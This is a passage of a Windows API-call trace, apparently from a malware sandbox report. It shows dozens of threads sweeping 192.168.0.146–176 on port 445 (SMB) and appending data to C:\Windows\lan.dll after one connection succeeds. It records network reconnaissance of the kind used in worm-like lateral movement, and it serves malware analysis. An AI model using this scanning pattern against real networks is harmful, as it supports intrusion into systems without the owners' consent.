[0195.166] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a76df10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.204] CoUninitialize ()
Thread:
id = 159
os_tid = 0xca0
[0164.478] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.480] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1788
[0164.480] WSAConnect (in: s=0x1788, name=0x273c978*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.146"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.205] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2acedf90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.581] CoUninitialize ()
Thread:
id = 160
os_tid = 0xca4
[0164.488] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.489] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x17a8
[0164.490] WSAConnect (in: s=0x17a8, name=0x273d090*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.147"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.243] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ae5dfb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.283] CoUninitialize ()
Thread:
id = 161
os_tid = 0xca8
[0164.499] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.500] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x17c8
[0164.501] WSAConnect (in: s=0x17c8, name=0x273d7c8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.148"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.285] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2afee090, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.313] CoUninitialize ()
Thread:
id = 162
os_tid = 0xcac
[0164.507] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.508] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x17e8
[0164.509] WSAConnect (in: s=0x17e8, name=0x273dee0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.149"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.314] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2b15dd30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.341] CoUninitialize ()
Thread:
id = 163
os_tid = 0xcb0
[0164.516] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.517] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x180c
[0164.518] WSAConnect (in: s=0x180c, name=0x273e5f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.150"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.342] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2b34e070, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.379] CoUninitialize ()
Thread:
id = 164
os_tid = 0xcb4
[0164.524] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.525] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x182c
[0164.525] WSAConnect (in: s=0x182c, name=0x273ed10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.151"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.380] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2b47ded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.590] CoUninitialize ()
Thread:
id = 165
os_tid = 0xcb8
[0164.535] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.536] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x184c
[0164.536] WSAConnect (in: s=0x184c, name=0x273f428*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.152"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.429] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2b5ae130, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.598] CoUninitialize ()
Thread:
id = 166
os_tid = 0xcbc
[0164.543] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.544] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x186c
[0164.545] WSAConnect (in: s=0x186c, name=0x273fb40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.153"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.078] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2b77dfd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.609] CoUninitialize ()
Thread:
id = 167
os_tid = 0xcc0
[0164.550] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.551] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x188c
[0164.552] WSAConnect (in: s=0x188c, name=0x2740258*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
[0164.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2abed3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0164.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2abed8b0) returned 1
[0164.585] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1890
[0164.586] GetFileType (hFile=0x1890) returned 0x1
[0164.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2abed820) returned 1
[0164.586] GetFileType (hFile=0x1890) returned 0x1
[0164.587] SetFilePointer (in: hFile=0x1890, lDistanceToMove=0, lpDistanceToMoveHigh=0x2abed898*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2abed898*=0) returned 0x39b
[0164.588] WriteFile (in: hFile=0x1890, lpBuffer=0x2742000*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x2abed968, lpOverlapped=0x0 | out: lpBuffer=0x2742000*, lpNumberOfBytesWritten=0x2abed968*=0x84, lpOverlapped=0x0) returned 1
[0164.594] CloseHandle (hObject=0x1890) returned 1
[0164.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2abed3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0164.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2abed8b0) returned 1
[0164.599] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1890
[0164.599] GetFileType (hFile=0x1890) returned 0x1
[0164.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2abed820) returned 1
[0164.599] GetFileType (hFile=0x1890) returned 0x1
[0164.599] SetFilePointer (in: hFile=0x1890, lDistanceToMove=0, lpDistanceToMoveHigh=0x2abed898*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2abed898*=0) returned 0x41f
[0164.600] WriteFile (in: hFile=0x1890, lpBuffer=0x2744ed0*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x2abed968, lpOverlapped=0x0 | out: lpBuffer=0x2744ed0*, lpNumberOfBytesWritten=0x2abed968*=0x78, lpOverlapped=0x0) returned 1
[0164.600] CloseHandle (hObject=0x1890) returned 1
[0164.884] CoUninitialize ()
Thread:
id = 168
os_tid = 0xcc4
[0164.622] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.623] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x18ac
[0164.623] WSAConnect (in: s=0x18ac, name=0x2746250*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.155"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0195.038] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2a99dd50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.567] CoUninitialize ()
Thread:
id = 169
os_tid = 0xcc8
[0164.636] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.640] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x18cc
[0164.640] WSAConnect (in: s=0x18cc, name=0x2746968*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.156"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.991] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2b87dd70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0195.037] CoUninitialize ()
Thread:
id = 170
os_tid = 0xccc
[0164.657] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.657] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x18ec
[0164.659] WSAConnect (in: s=0x18ec, name=0x2747080*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.157"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.946] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ba5dcb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.990] CoUninitialize ()
Thread:
id = 171
os_tid = 0xcd0
[0164.674] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.675] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x190c
[0164.676] WSAConnect (in: s=0x190c, name=0x2747838*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.158"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.912] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2bb7ddb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.546] CoUninitialize ()
Thread:
id = 172
os_tid = 0xcd4
[0164.685] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.689] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x192c
[0164.690] WSAConnect (in: s=0x192c, name=0x2747f50*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.159"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.868] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2bddd9f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.911] CoUninitialize ()
Thread:
id = 173
os_tid = 0xcd8
[0164.699] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.700] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x194c
[0164.701] WSAConnect (in: s=0x194c, name=0x2748668*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.160"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.835] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2bfcec10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.535] CoUninitialize ()
Thread:
id = 174
os_tid = 0xcdc
[0164.711] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.712] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x196c
[0164.713] WSAConnect (in: s=0x196c, name=0x2748dd0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.161"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.791] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c0fe7d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.834] CoUninitialize ()
Thread:
id = 175
os_tid = 0xce0
[0164.724] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.724] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x198c
[0164.726] WSAConnect (in: s=0x198c, name=0x2749520*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.162"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.758] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c2ae810, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.521] CoUninitialize ()
Thread:
id = 176
os_tid = 0xce4
[0164.737] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.738] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x19ac
[0164.739] WSAConnect (in: s=0x19ac, name=0x2749c38*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.163"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.712] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c3fead0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.757] CoUninitialize ()
Thread:
id = 177
os_tid = 0xce8
[0164.750] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.751] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x19cc
[0164.752] WSAConnect (in: s=0x19cc, name=0x274a350*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.164"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.665] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x29e6e7f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.504] CoUninitialize ()
Thread:
id = 178
os_tid = 0xcec
[0164.761] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.762] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x19ec
[0164.764] WSAConnect (in: s=0x19ec, name=0x274aa68*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.165"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.633] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c64e610, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.499] CoUninitialize ()
Thread:
id = 179
os_tid = 0xcf0
[0164.773] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.774] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1a0c
[0164.777] WSAConnect (in: s=0x1a0c, name=0x274b180*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.166"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.587] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2bc7ea70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.632] CoUninitialize ()
Thread:
id = 180
os_tid = 0xcf4
[0164.801] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.802] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1a2c
[0164.804] WSAConnect (in: s=0x1a2c, name=0x274bbc8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.167"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.108] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c7ce630, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.393] CoUninitialize ()
Thread:
id = 181
os_tid = 0xcf8
[0164.816] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.817] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1a4c
[0164.820] WSAConnect (in: s=0x1a4c, name=0x274c2e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.168"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.150] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ca4e470, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.398] CoUninitialize ()
Thread:
id = 182
os_tid = 0xcfc
[0164.829] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.830] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1a6c
[0164.832] WSAConnect (in: s=0x1a6c, name=0x274c9f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.169"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.198] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c8ee8b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.402] CoUninitialize ()
Thread:
id = 183
os_tid = 0xd00
[0164.841] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.842] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1a8c
[0164.844] WSAConnect (in: s=0x1a8c, name=0x274d110*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.170"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.244] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2c4fe110, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.289] CoUninitialize ()
Thread:
id = 184
os_tid = 0xd04
[0164.869] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.869] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1aac
[0164.870] WSAConnect (in: s=0x1aac, name=0x274d828*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.290] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2cc6e810, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.417] CoUninitialize ()
Thread:
id = 185
os_tid = 0xd08
[0164.877] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.878] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1acc
[0164.878] WSAConnect (in: s=0x1acc, name=0x274df40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.172"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.323] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2cb4e670, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.365] CoUninitialize ()
Thread:
id = 186
os_tid = 0xd0c
[0164.893] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.908] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ae4
[0164.909] WSAConnect (in: s=0x1ae4, name=0x274e658*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.173"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.366] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ce4e610, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.433] CoUninitialize ()
Thread:
id = 187
os_tid = 0xd10
[0164.919] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.920] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1b04
[0164.921] WSAConnect (in: s=0x1b04, name=0x274ed70*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.174"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.416] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d03dfd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.440] CoUninitialize ()
Thread:
id = 188
os_tid = 0xd14
[0164.927] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.928] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1b24
[0164.928] WSAConnect (in: s=0x1b24, name=0x274f488*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.175"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.463] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d18e130, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.461] CoUninitialize ()
Thread:
id = 189
os_tid = 0xd18
[0164.935] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.938] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1b44
[0164.939] WSAConnect (in: s=0x1b44, name=0x274fba0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.176"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
